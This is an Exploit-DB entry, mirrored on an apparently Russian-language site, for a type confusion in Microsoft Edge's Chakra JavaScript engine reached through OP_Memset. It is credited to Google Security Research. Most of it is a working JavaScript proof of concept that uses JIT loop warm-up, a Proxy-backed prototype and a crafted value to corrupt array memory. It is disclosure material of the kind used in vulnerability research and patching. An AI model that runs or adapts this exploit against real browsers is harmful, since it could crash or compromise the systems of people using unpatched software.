Exploit Microsoft Edge Chakra - OP_Memset Type Confusion

[Exploiter]

EDB-ID

45889

Проверка EDB

1. Пройдено

Автор

GOOGLE SECURITY RESEARCH

Тип уязвимости

DOS

Платформа

WINDOWS

CVE

N/A

Дата публикации

2018-11-19

Microsoft Edge Chakra - OP_Memset Type Confusion

/*
Since the patch for CVE-2018-8372, it checks all inputs to native arrays, and if any input equals to the MissingItem value which can cause type confusion, it starts the bailout process. But it doesn't check the "value" argument to OP_Memset. This can be exploited in the same way as for   issue 1581  .

PoC:
*/

function memset(arr, value, n) {
    for (let i = 0; i < n; i++) {
        arr[i] = value;
    }
}

function trigger(arr, buggy) {
    let tmp = [1];

    arr.length;

    let res = tmp.concat(buggy);
    arr[0] = 0x1234;
    arr[1] = 0;
}

function main() {
    let tmp = (new Array(100)).fill(1);
    for (let i = 0; i < 500; i++) {
        memset(tmp, 1, tmp.length);
        trigger(tmp, [1]);
    }

    setTimeout(() => {
        let buggy = [1];
        let arr = [1, 2];

        arr.getPrototypeOf = Object.prototype.valueOf;

        buggy.__proto__ = new Proxy({}, arr);

        memset(buggy, -524286, 1);
        trigger(arr, buggy);

        alert(arr);
    }, 100);
}

main();